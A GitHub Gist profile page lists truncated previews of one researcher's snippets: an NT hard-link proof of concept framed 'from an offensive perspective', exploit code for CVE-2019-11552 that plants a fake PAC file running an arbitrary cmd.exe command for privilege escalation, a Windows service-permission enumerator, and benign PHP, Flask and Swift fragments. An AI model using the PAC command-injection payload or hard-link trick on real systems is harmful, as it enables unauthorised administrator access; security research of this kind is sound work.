Skip to content

Instantly share code, notes, and snippets.

View bordplate's full-sized avatar
🎧
AirPods Pro Status: Active Noise Cancelling

Vetle Hjelle bordplate

🎧
AirPods Pro Status: Active Noise Cancelling
View GitHub Profile
function Native-HardLink {
<#
.SYNOPSIS
This is a proof-of-concept for NT hard links. There are some advantages, from an offensive
perspective, to using NtSetInformationFile to create hard links (as opposed to
mklink/CreateHardLink). NtSetInformationFile allows us link to files we don’t have write
access to. In the script I am performing some steps which are not strictly speaking
necessary, like using GetFullPathName for path resolution, I have done this mostly to
educate myself.
@bordplate
bordplate / Invoke-CrashPlanElevation.ps1
Last active February 17, 2021 18:54
Exploit code for CVE-2019-11552. Adds current user to the local administrators group.
function Create-FakePAC
{
Param(
[String]$Command
)
$fileContents = @"
function FindProxyForURL(url, host) {
new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe"], ["/c \"${Command}\""]).start();
@bordplate
bordplate / securing-php-lua-interpreter.php
Last active April 4, 2018 20:12
Attempting to secure the PHP Lua interpreter
$lua = new Lua();
// Listing all loaded Lua libraries using Lua code
$result = $lua->eval('
local libraries = ""
for k in pairs(_ENV) do libraries = libraries .. k .. "," end
return libraries
');
$luaLibs = explode(',', $result); // Split them into an array
from flask import Flask, request
import urllib.request
import requests
app = Flask(__name__)
allowed_characters = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZæøåÆØÅäöÄÖ .@-"
@bordplate
bordplate / service-permission-enumeration.vbs
Created November 18, 2017 19:52
Script to enumerate services on a Windows system and list their permissions. Writes to a file in folder called services.txt. Run with `cscript service-permissions-enumeration.vbs`
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colListOfServices = objWMIService.ExecQuery ("Select * from Win32_Service ")
Set objShell = CreateObject("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objService in colListOfServices
Dim path, x
path = objService.PathName
x = Instr(path,"-")
If x Then path = Left(path,x-1)
public class User: NSObject {
var username: String
var displayName: String
var followerCount: Int
var followingCount: Int
var joinDate: Date
var posts: Array<[String: AnyObject]>